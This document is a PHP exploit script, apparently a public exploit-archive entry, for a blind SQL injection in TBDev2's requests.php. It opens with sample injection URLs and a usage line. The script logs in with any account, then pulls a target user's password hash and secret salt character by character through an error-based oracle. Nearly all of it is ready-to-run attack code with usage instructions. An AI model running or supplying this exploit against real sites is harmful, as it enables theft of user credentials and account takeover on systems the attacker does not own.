http://site/requests.php?action=reset&requestid=sql'

/requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+passhash+from+users+where+id=1),1,1))=[CHARCODE],'1',(select+1+union+select+2))+--+

tbdev2sql.php url target_id login password

<?

//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru 

set_time_limit(0);
ignore_user_abort(1);

function getcookie($url, $name, $password){
	$res = send_xpl($url,"takelogin.php?username=$name&password=$password");
	preg_match("/Set-Cookie: uid=(\d+)*;/", $res, $matches);
	$uid=$matches[1];
	preg_match("/Set-Cookie: pass=([\w+\d+]{32});/", $res, $matches);
	$passhash=$matches[1];
	$res = "uid=$uid; pass=$passhash;";
	if(isset($uid)&&isset($passhash))
		return $res;
	else
		return -1;
}

function send_xpl($url, $xpl){
	global $id;
	global $cookie;
	$u=parse_url($url);
	$req ="GET ".$u['path']."$xpl HTTP/1.1\r\n";
	$req.="Host: ".$u['host']."\r\n";
	$req.="Cookie: $cookie\r\n";
	$req.="Connection: Close\r\n\r\n";
	$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
	fwrite($fs, $req);
	while (!feof($fs)) {
  		$res .= fread($fs, 8192);
	}
	fclose($fs);
	return $res;
}

function xpl($field ,$condition, $pos){
	global $id;
	$xpl="requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+$field+from+users+where+id=$id),$pos,1))$condition,'1',(select+1+union+select+2))+--+";
	return $xpl;
}

if($argc<4)
{
echo "==================\r\n";
echo "Using tbdev2sql.php url target_id login password\r\n  target_id - id of target member\r\n  login, password - login and password of any existing account\r\n\r\n\r\nEx.: tbdev2sql.php http://www.site.com/ 1 Alex Password\r\n";
echo "==================\r\n";
die();
}

$url=$argv[1];
$id=$argv[2];
$name=$argv[3];
$password=$argv[4];

echo $url.":".$name.":".$password."\r\n";

echo "Trying to get your cookies... ";
$cookie = getcookie($url, $name, $password);
if($cookie!=-1)
	echo "[DONE]\r\n";
else
	die("Can't get cookies.. Pass incorrect?\r\n");

echo "Trying to get passhash: ";
//get md5 pass
for($i=1;$i<=32;$i++){	
	$flag = 0;
	for($j=48;$j<=57;$j++){
		if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash",'='.$j,$i)))){ $pass.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
		else {if($j!=48) {echo chr(8);} echo chr($j);}
	}
	if($flag!=1) {
		for($j=97;$j<=102;$j++){
			if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash",'='.$j,$i)))){ $pass.=chr($j); echo chr(8).chr($j); $flag=1; break; }
			else {echo chr(8).chr($j);}
		}
	}
	if (!$flag)
		die("\r\nExploit failed\r\n");
}

echo " [DONE]\r\n";

echo "Trying to get salt: ";
//get secret (20 characters 1-9a-Z)
for($i=1;$i<=20;$i++){
	$flag = 0;
	for($j=49;$j<=57;$j++){
		if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); if($j!=49) {echo chr(8);} echo chr($j); $flag=1; break; }
		else {if($j!=49) {echo chr(8);} echo chr($j);}
	}
	if($flag!=1) {
		for($j=65;$j<=90;$j++){
			if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
			else {echo chr(8).chr($j);}
		}
	}
	if($flag!=1) {
		for($j=97;$j<=122;$j++){
			if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
			else {echo chr(8).chr($j);}
		}
	}
	if (!$flag)
		die("\r\nExploit failed\r\n");
} 
echo " [DONE]\r\n";


?>